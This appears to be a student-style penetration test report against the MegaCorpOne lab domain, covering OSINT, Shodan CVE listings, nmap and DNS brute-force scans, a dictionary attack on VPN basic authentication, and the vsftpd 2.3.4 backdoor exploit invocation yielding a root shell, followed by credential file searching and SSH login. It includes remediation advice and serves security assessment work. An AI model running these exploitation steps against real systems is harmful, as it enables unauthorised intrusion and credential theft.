



Cybersecurity

Penetration Test Report Template

MegaCorpOne

Penetration Test Report

[CyberSafe], LLC

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Table of Contents

| | |
|--|----|
| Confidentiality Statement | 2 |
| Contact Information | 4 |
| Document History | 4 |
| Introduction | 5 |
| Assessment Objective | 5 |
| Penetration Testing Methodology | 6 |
| Reconnaissance | 6 |
| Identification of Vulnerabilities and Services | 6 |
| Vulnerability Exploitation | 6 |
| Reporting | 6 |
| Scope | 7 |
| Executive Summary of Findings | 8 |
| Grading Methodology | 8 |
| Summary of Strengths | 9 |
| Summary of Weaknesses | 9 |
| Executive Summary Narrative | 10 |
| Summary Vulnerability Overview | 11 |
| Vulnerability Findings | 12 |
| MITRE ATT&CK Navigator Map | 13 |

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Document History

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| | | | |

Introduction

In accordance with MegaCorpOne's policies, [CyberSafe], LLC (henceforth known as [CyberSafe]) conducts external and internal penetration tests of its networks and systems throughout the year. The purpose of this engagement was to assess the networks' and systems' security and identify potential security flaws by utilizing industry-accepted testing methodology and best practices. The project was conducted on a number of systems on MegaCorpOne's network segments by [CyberSafe] during January of 2023.

For the testing, [CyberSafe] focused on the following:

- Attempting to determine what system-level vulnerabilities could be discovered and exploited with no prior knowledge of the environment or notification to administrators.
- Attempting to exploit vulnerabilities found and access confidential information that may be stored on systems.
- Documenting and reporting on all findings.

All tests took into consideration the actual business processes implemented by the systems and their potential threats; therefore, the results of this assessment reflect a realistic picture of the actual exposure levels to online hackers. This document contains the results of that assessment.

Assessment Objective

The primary goal of this assessment was to provide an analysis of security flaws present in MegaCorpOne's web applications, networks, and systems. This assessment was conducted to identify exploitable vulnerabilities and provide actionable recommendations on how to remediate the vulnerabilities to provide a greater level of security for the environment.

[CyberSafe] used its proven vulnerability testing methodology to assess all relevant web applications, networks, and systems in scope.

MegaCorpOne has outlined the following objectives:

Table 1: Defined Objectives

| Objective |
|--|
| Find and exfiltrate any sensitive information within the domain. |
| Escalate privileges to domain administrator. |
| Compromise at least two machines. |

Penetration Testing Methodology

Reconnaissance

[CyberSafe] begins assessments by checking for any passive (open source) data that may assist the assessors with their tasks. If internal, the assessment team will perform active recon using tools such as Nmap and Bloodhound.

Identification of Vulnerabilities and Services

[CyberSafe] uses custom, private, and public tools such as Metasploit, hashcat, and Nmap to gain perspective of the network security from a hacker's point of view. These methods provide MegaCorpOne with an understanding of the risks that threaten its information, and also the strengths and weaknesses of the current controls protecting those systems. The results were achieved by mapping the network architecture, identifying hosts and services, enumerating network and system-level vulnerabilities, attempting to discover unexpected hosts within the environment, and eliminating false positives that might have arisen from scanning.

Vulnerability Exploitation

[CyberSafe]'s normal process is to both manually test each identified vulnerability and use automated tools to exploit these issues. Exploitation of a vulnerability is defined as any action we perform that gives us unauthorized access to the system or the sensitive data.

Reporting

Once exploitation is completed and the assessors have completed their objectives, or have done everything possible within the allotted time, the assessment team writes the report, which is the final deliverable to the customer.

Scope

Prior to any assessment activities, MegaCorpOne and the assessment team will identify targeted systems with a defined range or list of network IP addresses. The assessment team will work directly with the MegaCorpOne POC to determine which network ranges are in-scope for the scheduled assessment.

It is MegaCorpOne's responsibility to ensure that IP addresses identified as in-scope are actually controlled by MegaCorpOne and are hosted in MegaCorpOne-owned facilities (i.e., are not hosted by an external organization). In-scope and excluded IP addresses and ranges are listed below.

| IP Address/URL | Description |
|---|---|
| 172.16.117.0/16 MCO.local *.Megacorpone.com | MegaCorpOne internal domain, range and public website |

Executive Summary of Findings

Grading Methodology

Each finding was classified according to its severity, reflecting the risk each such vulnerability may pose to the business processes implemented by the application, based on the following criteria:

- Critical:** Immediate threat to key business processes.
- High:** Indirect threat to key business processes/threat to secondary business processes.
- Medium:** Indirect or partial threat to business processes.
- Low:** No direct threat exists; vulnerability may be leveraged with other vulnerabilities.
- Informational:** No threat; however, it is data that may be used in a future attack.

As the following grid shows, each threat is assessed in terms of both its potential impact on the business and the likelihood of exploitation:

| | | | | | | |
|--------------------------------|----------------------|-------------------------|------------|---------------|-------------|-----------------|
| Exploitation Likelihood | Critical | | | | | |
| | High | | | | | |
| | Medium | | | | | |
| | Low | | | | | |
| | Informational | | | | | |
| | | Informational | Low | Medium | High | Critical |
| | | Potential Impact | | | | |

Summary of Strengths

While the assessment team was successful in finding several vulnerabilities, the team also recognized several strengths within MegaCorpOne's environment. These positives highlight the effective countermeasures and defenses that successfully prevented, detected, or denied an attack technique or tactic from occurring.

- [The reconnaissance of the wireless network showed that only a public facing wireless SSID. Connecting to the service requires the user to create an account, using those credentials for being able to have access. It can be suspected the SSID of the internal network is not being broadcast, thus this is preventing it from being visible by anyone outside the network.]

Summary of Weaknesses

[CyberSafe] successfully found several critical vulnerabilities that should be immediately addressed in order to prevent an adversary from compromising the network. These findings are not specific to a software version but are more general and systemic vulnerabilities.

- [During the reconnaissance phase several known vulnerabilities along with open ports can be shown and identified, in which we were able to exploit a few doing this pentest.]
- [There was very little denial for the network scanning footprinting information. This allowed us to develop the network infrastructure.]
- [From footprinting we could see that the company had the upper management contact details available to the public. This should be minimized to having more point of contact]

Executive Summary

CyberSafe, LLC conducted a security assessment on MegaCorpOne's network infrastructure to identify any existing vulnerabilities and risks. The assessment employed penetration testing methods to give MegaCorpOne's management insight into the risks and security of their current corporate environment. The internal network infrastructure was tested by using reconnaissance and host discovery tools, such as Zenmap and OSINT, to identify the operating systems, software, and services running on each target host.

Vulnerability enumeration was then used to find all potential vulnerabilities on each host and develop a list of attack vectors. Many vulnerabilities were discovered during testing, which put MegaCorpOne's resources at risk of compromise. The assessment revealed that MegaCorpOne is not adequately prepared to defend against an attack and should take immediate steps to address the findings in this report.

Critical, High, and Medium severity issues were found impacting MegaCorpOne's internal network, requiring immediate action to secure the company against potential threats. These issues included poor password management practices, open ports that may have potentially vulnerable applications running, and lack of security measures on the Cisco AnyConnect configuration file.

In light of the findings, CyberSafe recommended that MegaCorpOne take immediate steps to address these vulnerabilities and implement security measures to protect against potential threats. This may include implementing password policies, patching vulnerable systems and applications, and implementing security controls on the Cisco AnyConnect configuration file. It is important for MegaCorpOne to regularly conduct security assessments to identify and address any new vulnerabilities that may arise in the future.

Summary Vulnerability Overview

| Vulnerability | Severity |
|---|----------|
| Weak password on public web application | Critical |
| Password Cracking | Critical |
| Vulnerable Open Ports on the Network | Critical |
| LLMNR Spoofing | Critical |
| Compromised Machine | Critical |
| Site Profile on Shodan with list of known exploits. | Critical |
| Credential Dumping | High |
| Reverse shell Vulnerability | High |
| Windows open ports | High |
| Executive team contact on company site | Medium |
| Server details | Low |

The following summary tables represent an overview of the assessment findings for this penetration test:

| Scan Type | Total |
|-----------|--|
| Hosts | 172.22.117.20 172.22.117.150 149.56.244.87 |
| Ports | 21-ftp 22-ssh 23-telnet 25-smtp 53-domain 80-http 111-rpcbind 135-msrpc 139-netbios 445-Microsoft-ds 3390 wbl-server |

| Exploitation Risk | Total |
|-------------------|-------|
| Critical | 5 |
| High | 3 |
| Medium | 1 |
| Low | 1 |

Vulnerability Findings

Executive Team Business Contact on Company Website

Risk Rating: Medium

Description:



During the initial reconnaissance phase, the team at CyberSafe identified that the website www.megacorpone.com displayed a significant amount of information about the company's executive team. This information included full names, titles, email addresses, and images.

To gather this information, the team used the Google Dorking OSINT approach. This approach involves using specific search operators and queries in Google to find specific types of information. In this case, the team was able to find the names, positions, email addresses, and images of the executive team members.

Upon further analysis, CyberSafe discovered that the web server was running on a Debian operating system and using Apache 2.4.38 on port 80. This information, while seemingly insignificant on its own, can be used in combination with other information to create a detailed profile of the target. Hackers often collect information over a prolonged period to gain a better understanding of their target and to identify potential vulnerabilities.

In conclusion, while the information found on the website www.megacorpone.com may not present a significant security risk on its own, it is important to remember that hackers often collect information over time to create detailed profiles of their targets. This information, when combined with other data, can potentially pose an increased security risk. It is important for companies to be aware of the information they are displaying publicly and to take steps to protect sensitive data.

Affected Hosts: www.megacorpone.com



Site Profile Shodan.io and Known Exploits

Risk Rating: **Critical**

Description:

The first step in identifying potential vulnerabilities on the website www.megacorpone.com was to obtain the external IP address of the domain. This can be done by performing a basic "nslookup" or "ping scan" of the domain from a workstation. A nslookup is a simple command-line tool used to query the Domain Name System (DNS) to obtain domain name or IP address mappings. A ping scan is a type of scan that sends Internet Control Message Protocol (ICMP) echo request packets to a range of IP addresses in order to check for active hosts.

Once the external IP address was obtained, CyberSafe then used the IP address and a search engine for Internet-connected devices called Shodan.io. Shodan is a search engine that allows users to find specific types of computers (webcams, routers, servers, etc.) connected to the internet using a variety of filters. By searching for the IP address, CyberSafe was able to find the website's profile and all its associated details.

The information obtained from Shodan included the operating system, open ports, and any publicly accessible services running on the website's server. This information provided CyberSafe with a comprehensive view of the website's infrastructure and the potential vulnerabilities that could be exploited.

By using the external IP address, CyberSafe was able to quickly identify the affected hosts and gather valuable information that would be used in later stages of the engagement. This information helped CyberSafe to focus their efforts on the most critical systems and vulnerabilities, increasing the chances of a successful engagement. It is essential for organizations to regularly check for any vulnerabilities on their website to mitigate any potential risks to their systems and data.

Affected Hosts: www.megacorpone.com

SHODAN

Explore

Downloads

Pricing

Search...

Account

149.56.244.87

Regular View

Raw Data

History

General Information

Hostnames

www.megacorpone.com

Domains

MEGACORPONE.COM

Country

Canada

City

Montréal

Organization

OVH Hosting, Inc.

ISP

OVH SAS

ASN

AS16276

Open Ports

22 80 443

// 22 / TCP

-1487338745 | 2022-12-31T19:05:37.777457

OpenSSH 7.9p1 Debian 10+deb10u2

SSH-2.0-OpenSSH_7.9p1_Debian-10+deb10u2
Key type: ssh-rsa
Key: AAAAB3NzaC1yc2EAAAADAQABAAQCSgR7aTX60T51N7b5j1516731hvtXf6ce11yU7h53j
sRi6R5Bepha0/iYvGa6pCovDxFKBRica35G1L8pwC44Gh1hd859CndG1rqB58nux1cvuRydo1o
nyIT/j20012c10UE7E7h0dQWj0Q0jv5qVwCn2LSqCFH//bc+PFYampdhvzsj78V1q5f/U7y3hQz7
u2uhQ732nmVIAH01+81vPP8+jv83V7gxfyUqfb+qBwixxiZhc600YBE15VBKR7frx6APqazI1o2
zr+di0gc1LESTUQoqz1eWuIZj3RRmY1aUT1N+Zu09QwCp5TH+6HBDK/m15RYsv6/8Zj
FingerPrint: cd:bd:1d:f0:c2:fb:c3:d8:48:ef:7f:5f:ba:34:1f:06

Kex Algorithms:
curve25519-sha256
curve25519-sha256@libssh.org
ecdh-sha2-nistp256
ecdh-sha2-nistp384

shodan.io/host/149.56.244.87

Vulnerabilities

Note: the device may not be impacted by all of these issues. The vulnerabilities are implied based on the software and version.

CVE-2019-0196

A vulnerability was found in Apache HTTP Server 2.4.17 to 2.4.38. Using fuzzed network input, the http/2 request handling could be made to access freed memory in string comparison when determining the method of a request and thus process the request incorrectly.

CVE-2020-1934

In Apache HTTP Server 2.4.0 to 2.4.41, mod_proxy_ftp may use uninitialized memory when proxying to a malicious FTP server.

CVE-2021-34798

Malformed requests may cause the server to dereference a NULL pointer. This issue affects Apache HTTP Server 2.4.48 and earlier.

CVE-2020-35452

Apache HTTP Server versions 2.4.0 to 2.4.46 A specially crafted Digest nonce can cause a stack overflow in mod_auth_digest. There is no report of this overflow being exploitable, nor the Apache HTTP Server team could create one, though some particular compiler and/or compilation option might make it possible, with limited consequences anyway due to the size (a single byte) and the value (zero byte) of the overflow

CVE-2022-29404

In Apache HTTP Server 2.4.53 and earlier, a malicious request to a lua script that calls rparsebody(0) may cause a denial of service due to no default limit on possible input size.

CVE-2022-22721

If LimitXMLRequestBody is set to allow request bodies larger than 350MB (defaults to 1M) on 32 bit systems an integer

Encryption Algorithms:

chacha20-poly1305@openssh.com
aes128-ctr
aes192-ctr
aes256-ctr
aes128-gcm@openssh.com
aes256-gcm@openssh.com

MAC Algorithms:

umac-64-etm@openssh.com
umac-128-etm@openssh.com
hmac-sha2-256-etm@openssh.com
hmac-sha2-512-etm@openssh.com
hmac-sha1-etm@openssh.com
umac-64@openssh.com
umac-128@openssh.com
hmac-sha2-256
hmac-sha2-512
hmac-sha1

Compression Algorithms:

none
zlib@openssh.com

// 80 / TCP

-683791476 | 2023-01-11T21:27:29.296082

Apache httpd 2.4.38

HTTP/1.1 200 OK
Date: Wed, 11 Jan 2023 21:27:29 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Wed, 06 Nov 2019 15:04:14 GMT
ETag: "3980-596aedca79780"
Accept-Ranges: bytes
Content-Length: 14603
Vary: Accept-Encoding
Content-Type: text/html

15

← → ↺ shodan.io/host/149.56.244.87

CVE-2019-0211

In Apache HTTP Server 2.4 releases 2.4.17 to 2.4.38, with MPM event, worker or prefork, code executing in less-privileged child processes or threads (including scripts executed by an in-process scripting interpreter) could execute arbitrary code with the privileges of the parent process (usually root) by manipulating the scoreboard. Non-Unix systems are not affected.

CVE-2022-28330

Apache HTTP Server 2.4.53 and earlier on Windows may read beyond bounds when configured to process requests with the mod_isapi module.

CVE-2020-11993

Apache HTTP Server versions 2.4.20 to 2.4.43 When trace/debug was enabled for the HTTP/2 module and on certain traffic edge patterns, logging statements were made on the wrong connection, causing concurrent use of memory pools. Configuring the LogLevel of mod_http2 above "info" will mitigate this vulnerability for unpatched servers.

CVE-2019-10081

HTTP/2 (2.4.20 through 2.4.39) very early pushes, for example configured with "H2PushResource", could lead to an overwrite of memory in the pushing request's pool, leading to crashes. The memory copied is that of the configured push link header values, not data supplied by the client.

CVE-2019-0217

In Apache HTTP Server 2.4 release 2.4.38 and prior, a race condition in mod_auth_digest when running in a threaded server could allow a user with valid credentials to authenticate using another username, bypassing configured access control

443 / TCP

683791476 | 2023-01-12T04:09:01.772392

Apache httpd 2.4.38

HTTP/1.1 200 OK
Date: Thu, 12 Jan 2023 04:09:01 GMT
Server: Apache/2.4.38 (Debian)
Last-Modified: Wed, 06 Nov 2019 15:04:14 GMT
ETag: "3900-596aedca79780"
Accept-Ranges: bytes
Content-Length: 14603
Vary: Accept-Encoding
Content-Type: text/html

SSL Certificate
Certificate:
Data:
Version: 3 (0x2)
Serial Number:
04:ea:73:de:2e:3b:2d:4d:5e:73:d4:90:4e:ec:4b:47:17:63
Signature Algorithm: sha256WithRSAEncryption
Issuer: C=US, O=Let's Encrypt, CN=R3
Validity
Not Before: Dec 27 07:09:22 2022 GMT
Not After : Mar 27 07:09:21 2023 GMT
Subject: CN=www.megacorpone.com
Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:bb:0f:a4:78:09:94:ed:ea:e8:82:a6:7e:bc:27:
e3:83:60:21:c3:24:3a:26:23:30:a2:3e:a7:f8:c5:
68:4a:97:b7:fb:3d:6d:90:0c:ae:eb:a9:14:e3:e9:
30:ac:9c:6c:a9:18:6d:0b:46:80:8d:ea:39:6f:03:
b4:96:89:41:9b:c3:15:7c:50:9c:51:e7:25:25:a2:
62:b3:a8:2d:0c:30:f1:87:60:b3:6b:61:67:bb:6e:
66:a2:44:9f:52:11:a2:ec:8e:ec:c2:21:65:a0:55:
71:36:11:20:93:10:59:00:91:ea:ea:f7:f6:e3:bc:
56:34:18:f6:76:06:a8:a1:59:1f:f4:76:5c:cb:97:
10:cd:08:86:2a:b5:3d:25:7c:2c:e0:14:82:d5:a7:
34:a6:34:f6:77:72:18:5b:a1:86:32:7c:9c:64:5b:

← → ↺ shodan.io/host/149.56.244.87

CVE-2019-10081

HTTP/2 (2.4.20 through 2.4.39) very early pushes, for example configured with "H2PushResource", could lead to an overwrite of memory in the pushing request's pool, leading to crashes. The memory copied is that of the configured push link header values, not data supplied by the client.

CVE-2019-0217

In Apache HTTP Server 2.4 release 2.4.38 and prior, a race condition in mod_auth_digest when running in a threaded server could allow a user with valid credentials to authenticate using another username, bypassing configured access control restrictions.

CVE-2019-0197

A vulnerability was found in Apache HTTP Server 2.4.34 to 2.4.38. When HTTP/2 was enabled for a http: host or H2Upgrade was enabled for h2 on a https: host, an Upgrade request from http/11 to http/2 that was not the first request on a connection could lead to a misconfiguration and crash. Server that never enabled the h2 protocol or that only enabled it for https: and did not set 'H2Upgrade on' are unaffected by this issue.

CVE-2019-0215

In Apache HTTP Server 2.4 releases 2.4.37 and 2.4.38, a bug in mod_ssl when using per-location client certificate verification with TLSv1.3 allowed a client to bypass configured access control restrictions.

CVE-2021-33193

A crafted method sent through HTTP/2 will bypass validation and be forwarded by mod_proxy, which can lead to request splitting or cache poisoning. This issue affects Apache HTTP Server 2.4.17 to 2.4.48.

Subject Public Key Info:
Public Key Algorithm: rsaEncryption
Public-Key: (2048 bit)
Modulus:
00:bb:0f:a4:78:09:94:ed:ea:e8:82:a6:7e:bc:27:
e3:83:60:21:c3:24:3a:26:23:30:a2:3e:a7:f8:c5:
68:4a:97:b7:fb:3d:6d:90:0c:ae:eb:a9:14:e3:e9:
30:ac:9c:6c:a9:18:6d:0b:46:80:8d:ea:39:6f:03:
b4:96:89:41:9b:c3:15:7c:50:9c:51:e7:25:25:a2:
62:b3:a8:2d:0c:30:f1:87:60:b3:6b:61:67:bb:6e:
66:a2:44:9f:52:11:a2:ec:8e:ec:c2:21:65:a0:55:
71:36:11:20:93:10:59:00:91:ea:ea:f7:f6:e3:bc:
56:34:18:f6:76:06:a8:a1:59:1f:f4:76:5c:cb:97:
10:cd:08:86:2a:b5:3d:25:7c:2c:e0:14:82:d5:a7:
34:a6:34:f6:77:72:18:5b:a1:86:32:7c:9c:64:5b:
f8:90:be:72:51:09:58:8b:30:eb:68:23:d9:c1:d6:
4d:4b:16:31:3a:9d:c3:cb:be:ae:11:1d:ea:a1:03:
00:c4:c2:1d:e4:03:38:e7:02:f3:f0:e3:fa:a0:e2:
fd:74:61:a5:33:aa:ca:5f:58:da:bb:eb:ef:38:95:
ed:b5:34:84:11:97:02:78:a6:01:14:72:52:46:b8:
5a:3f:7d:9a:00:3e:24:ef:d8:1d:37:5e:75:4a:a3:
50:b7
Exponent: 65537 (0x10001)
X509v3 extensions:
X509v3 Key Usage: critical
Digital Signature, Key Encipherment
X509v3 Extended Key Usage:
TLS Web Server Authentication, TLS Web Client Authentication
X509v3 Basic Constraints: critical
CA:FALSE
X509v3 Subject Key Identifier:
47:c4:89:90:c7:08:37:f8:50:ca:89:ea:a3:85:1e:28:eb:94:8e:a7
X509v3 Authority Key Identifier:
14:2e:83:17:87:58:56:cb:ae:50:89:40:e6:1f:af:9d:8b:14:c2:c6
Authority Information Access:
OCSP - URI:http://r3.o.lencr.org
CA Issuers - URI:http://r3.i.lencr.org/
X509v3 Subject Alternative Name:
DNS:www.megacorpone.com
X509v3 Certificate Policies:
Policy: 2.23.140.1.2.1
Policy: 1.3.6.1.4.1.44947.1.1.1
CPS: http://cps.letsencrypt.org

16

| | |
|------------------------------------|--|
| ← → ↻ shodan.io/host/149.56.244.87 | |
| CVE-2021-26690 | Apache HTTP Server versions 2.4.0 to 2.4.46 A specially crafted Cookie header handled by mod_session can cause a NULL pointer dereference and crash, leading to a possible Denial Of Service |
| CVE-2021-26691 | In Apache HTTP Server versions 2.4.0 to 2.4.46 a specially crafted SessionHeader sent by an origin server could cause a heap overflow |
| CVE-2022-26377 | Inconsistent Interpretation of HTTP Requests ('HTTP Request Smuggling') vulnerability in mod_proxy_ajp of Apache HTTP Server allows an attacker to smuggle requests to the AJP server it forwards requests to. This issue affects Apache HTTP Server Apache HTTP Server 2.4 version 2.4.53 and prior versions. |
| CVE-2022-28614 | The ap_rwrite() function in Apache HTTP Server 2.4.53 and earlier may read unintended memory if an attacker can cause the server to reflect very large input using ap_rwrite() or ap_rputs(), such as with mod_lua's rputs() function. Modules compiled and distributed separately from Apache HTTP Server that use the 'ap_rputs' function and may pass it a very large (INT_MAX or larger) string must be compiled against current headers to resolve the issue. |
| CVE-2020-13938 | Apache HTTP Server versions 2.4.0 to 2.4.46 Unprivileged local users can stop httpd on Windows |
| CVE-2019-10082 | In Apache HTTP Server 2.4.18-2.4.39, using fuzzed network input, the http/2 session handling could be made to read memory after being freed, during connection shutdown. |
| CVE-2021-44224 | A crafted URI sent to httpd configured as a forward proxy (ProxyRequests on) can cause a crash (NULL pointer dereference) or, for configurations mixing forward and reverse proxy declarations, can allow for requests to be directed to a declared Unix Domain Socket endpoint (Server Side Request Forgery). This issue affects Apache HTTP Server 2.4.7 up to 2.4.51 (included). |
| CVE-2022-22719 | A carefully crafted request body can cause a read to a random memory area which could cause the process to crash. This issue affects Apache HTTP Server 2.4.52 and earlier. |
| CVE-2022-28615 | Apache HTTP Server 2.4.53 and earlier may crash or disclose information due to a read beyond bounds in ap_strcmp_match() when provided with an extremely large input buffer. While no code distributed with the server can be coerced into such a call, third-party modules or lua scripts that use ap_strcmp_match() may hypothetically be affected. |
| CVE-2022-30556 | Apache HTTP Server 2.4.53 and earlier may return lengths to applications calling r:wsread() that point past the end of the storage allocated for the buffer. |
| CVE-2021-39275 | ap_escape_quotes() may write beyond the end of a buffer when given malicious input. No included modules pass untrusted data to these functions, but third-party / external modules may. This issue affects Apache HTTP Server 2.4.48 and earlier. |

Weak Password on Public Web Application

Risk Rating: **Critical**

Description:

The site `vpn.megacorpone.com` is used to host the Cisco AnyConnect configuration file for MegaCorpOne. This configuration file is used to establish a secure VPN connection for employees to access corporate resources remotely. The site is secured with basic authentication, which is a simple form of authentication that requires a username and password to be entered in order to access the content. However, basic authentication is susceptible to a dictionary attack.

A dictionary attack is a type of cyber attack where an attacker uses a pre-defined list of words, called a wordlist, in an attempt to guess the user's password. The attacker systematically tries all the words in the wordlist, one by one, in the hope that one of them is the correct password. This type of attack is often automated, making it easy for an attacker to try a large number of words in a short amount of time.

[CyberSafe] was able to use a username gathered from OSINT (Open-Source Intelligence) in combination with a wordlist in order to guess the user's password and access the configuration file. OSINT is the process of collecting, analyzing and disseminating information from publicly available sources. By gathering a username from OSINT, [CyberSafe] was able to focus their attack on a specific target, increasing the likelihood of success.

Once [CyberSafe] was able to access the configuration file, they could potentially use the information contained within to establish a VPN connection to the MegaCorpOne network. This could allow them to access sensitive information and move laterally within the network, potentially giving them access to other systems and data. The vulnerability of basic authentication makes it important for organizations to use stronger forms of authentication, such as multi-factor authentication, to secure their systems and protect against dictionary attacks.

Affected Hosts: `vpn.megacorpone.com`

Remediation:

- Set up two-factor authentication instead of basic authentication to prevent dictionary attacks from being successful.
- Require a strong password complexity that requires passwords to be over 12 characters long, upper+lower case, & include a special character.
- Reset the user **thudson**'s password.

[List any other vulnerabilities you found here. Feel free to go into as much detail (including technical detail) as you want.]

Vulnerable Open Ports on The Network

Risk Rating: Critical

Description:

During the reconnaissance phase of the engagement, a Zenmap scan was conducted on the target network which revealed an inventory of vulnerable workstations with open ports that may have potentially vulnerable applications running. Further analysis confirmed a potential known exploit on one of the workstations, specifically "21/tcp open ftp vsftpd" on the IP address 172.22.117.100

Using Searchsploit, a command-line interface that allows searching the exploit-db.com database, seven known exploits were found for the specific version of vsftpd software. Among the exploits found, "vsftpd 2.3.4 - Backdoor Command Execution Unix/remote/49757.py" was chosen for further analysis. The exploit was examined to determine the necessary parameters and arguments for successful execution.

After preparing the exploit, CyberSafe successfully gained access to the machine 172.22.117.100 and was able to open a shell. The "whoami" command confirmed "root" access to the workstation. This exploit provided the team with full access to the target machine and the ability to run commands and execute code on the target machine. This gave the team the ability to move laterally within the network and potentially access other systems. This was a critical step in the engagement, as it provided the team with the level of access they needed to achieve their objectives. Additionally, Additional resources were provided to give more information on this exploit and how to use it effectively..

Affected Hosts: megacorpone.com

Remediation:

- Perform regular vulnerability scanning for network visibility
- Acquire the latest software vulnerability services to get the latest CVE updates
- Close all unnecessary ports and set access rules to govern usage.

```
Kali on ML-REFVM-197105 - Virtual Machine Connection
File Action Media Clipboard View Help

root@kali: ~

File Actions Edit View Help

(root@kali)-[~]
# nmap -sC -sV 172.22.117.20
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-21 22:27 EST
Nmap scan report for Windows10 (172.22.117.20)
Host is up (0.00060s latency).
Not shown: 996 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
135/tcp    open  msrpc        Microsoft Windows RPC
139/tcp    open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
3390/tcp   open  ms-wbt-server Microsoft Terminal Services
|_ssl-date: 2023-01-22T03:28:08+00:00; 0s from scanner time.
|_ssl-cert: Subject: commonName=Windows10.megacorpone.local
|_Not valid before: 2022-12-21T05:27:58
|_Not valid after: 2023-06-22T05:27:58
|_rdp-ntlm-info:
|_  Target_Name: MEGACORPONE
|_  NetBIOS_Domain_Name: MEGACORPONE
|_  NetBIOS_Computer_Name: WINDOWS10
|_  DNS_Domain_Name: megacorpone.local
|_  DNS_Computer_Name: Windows10.megacorpone.local
|_  DNS_Tree_Name: megacorpone.local
|_  Product_Version: 10.0.19041
|_  System_Time: 2023-01-22T03:28:03+00:00
MAC Address: 00:15:5D:02:04:01 (Microsoft)
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ smb2-security-mode:
|_   3.1.1:
|_     Message signing enabled but not required
|_ smb2-time:
|_   date: 2023-01-22T03:28:03
|_   start date: N/A
|_ nbstat: NetBIOS name: WINDOWS10, NetBIOS user: <unknown>, NetBIOS MAC: 00:15:5d:02:04:01 (Microsoft)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 43.66 seconds

(root@kali)-[~]
#
```

```
Kali on ML-REFVM-197105 - Virtual Machine Connection
File Action Media Clipboard View Help

root@kali: ~

File Actions Edit View Help

(root@kali)-[~]
# ping www.megacorpone.com
PING www.megacorpone.com (149.56.244.87) 56(84) bytes of data.


```

```
Kali on ML-REFVM-197105 - Virtual Machine Connection
File Action Media Clipboard View Help

root@kali: ~

File Actions Edit View Help

(root@kali)-[~]
# searchsploit vsftpd

Exploit Title
vsftpd 2.0.5 - 'CWD' (Authenticated) Remote Memory Consumption
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (1)
vsftpd 2.0.5 - 'deny_file' Option Remote Denial of Service (2)
vsftpd 2.3.2 - Denial of Service
vsftpd 2.3.4 - Backdoor Command Execution
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit)
vsftpd 3.0.3 - Remote Denial of Service

Shellcodes: No Results

(root@kali)-[~]
#
```

```
(root@kali) [~]
# python /usr/share/exploitdb/exploits/unix/remote/49757.py 172.22.117.150
Traceback (most recent call last):
  File "/usr/share/exploitdb/exploits/unix/remote/49757.py", line 37, in <module>
    tn=Telnet(host, 6200)
  File "/usr/lib/python2.7/telnetlib.py", line 211, in __init__
    self.open(host, port, timeout)
  File "/usr/lib/python2.7/telnetlib.py", line 227, in open
    self.sock = socket.create_connection((host, port), timeout)
  File "/usr/lib/python2.7/socket.py", line 575, in create_connection
    raise err
socket.error: [Errno 111] connection refused

(kali@kali) [~]
# python /usr/share/exploitdb/exploits/unix/remote/49757.py 172.22.117.150
Success, shell opened
Send 'exit' to quit shell
whoami
root
```

```
kali@kali: ~
File Actions Edit View Help

(kali@kali)-[~]
$ nmap -T4 -p53 --script dns-brute www.megacorpone.com
Starting Nmap 7.92 ( https://nmap.org ) at 2023-01-23 18:06 EST
Nmap scan report for www.megacorpone.com (149.56.244.87)
Host is up (0.049s latency).

PORT      STATE SERVICE
53/tcp    closed domain

Host script results:
| dns-brute:
|   DNS Brute-force hostnames:
|     admin.megacorpone.com - 51.222.169.208
|     syslog.megacorpone.com - 51.222.169.217
|     test.megacorpone.com - 51.222.169.219
|     intranet.megacorpone.com - 51.222.169.211
|     ns1.megacorpone.com - 51.79.37.18
|     ns2.megacorpone.com - 51.222.39.63
|     ns3.megacorpone.com - 66.70.207.180
|     vpn.megacorpone.com - 51.222.169.220
|     beta.megacorpone.com - 51.222.169.209
|     mail.megacorpone.com - 51.222.169.212
|     mail2.megacorpone.com - 51.222.169.213
|     www.megacorpone.com - 149.56.244.87
|     www2.megacorpone.com - 149.56.244.87
|_

Nmap done: 1 IP address (1 host up) scanned in 11.43 seconds
```

Exploiting with Privilege Escalation

Risk Rating: **Critical**

Description:

During the initial reconnaissance phase of the engagement, the team observed poor password management practices on the target system. In order to take advantage of these practices, the team used the shell exploit, CyberSafe, to search all files and folders for potentially sensitive information. The command "find / -type f -iname "pass.txt"" was used to search for files named "pass.txt" or similar variations.


This exploit revealed a file "/var/tmp/adminpassword.txt" which was believed to contain login credentials. The team quickly verified the file and found that it indeed contained login credentials for an admin account on the target system. Rogue utilized these credentials to successfully SSH into the machine using the command "ssh msfadmin@172.22.117.150" which allowed them to gain access to a "root" shell.

The "root" shell provided the team with full access to the target system, allowing them to view and manipulate all files and folders on the machine. This included sensitive information such as user credentials, system configurations, and other sensitive data. The successful SSH login also gave the team the ability to run commands and execute code on the target machine, which gave them the ability to move laterally within the network and potentially access other systems. This was a critical step in the engagement, as it provided the team with the level of access they needed to achieve their objectives.

Affected Hosts: megacorpone.com

Remediation:

- Do not save files and folders on computer with login credentials
- Create a whitelist of users and computers allowed to SSH into the server
- Close all unnecessary ports and set access rules to govern usage.



```
File Actions Edit View Help
find: /etc/unreal: Permission denied
find: /dev/metasploitable: Permission denied
find: /var/log/mysql: Permission denied
find: /var/log/samba: Permission denied
find: /var/log/tomcat5.5: Permission denied
find: /var/log/apache2: Permission denied
find: /var/cache/leconfig: Permission denied
find: /var/cache/tomcat5.5: Permission denied
find: /var/lib/php: Permission denied
find: /var/lib/mysql/dvwa: Permission denied
find: /var/lib/mysql/ownsploit: Permission denied
find: /var/lib/mysql/metasploit: Permission denied
find: /var/lib/mysql/tikiwiki193: Permission denied
find: /var/lib/mysql/tikiwiki: Permission denied
find: /var/lib/postgresql/8.3/main: Permission denied
/var/tmp/adminpassword.txt
/var/www/dvwa/robots.txt
/var/www/dvwa/README.txt
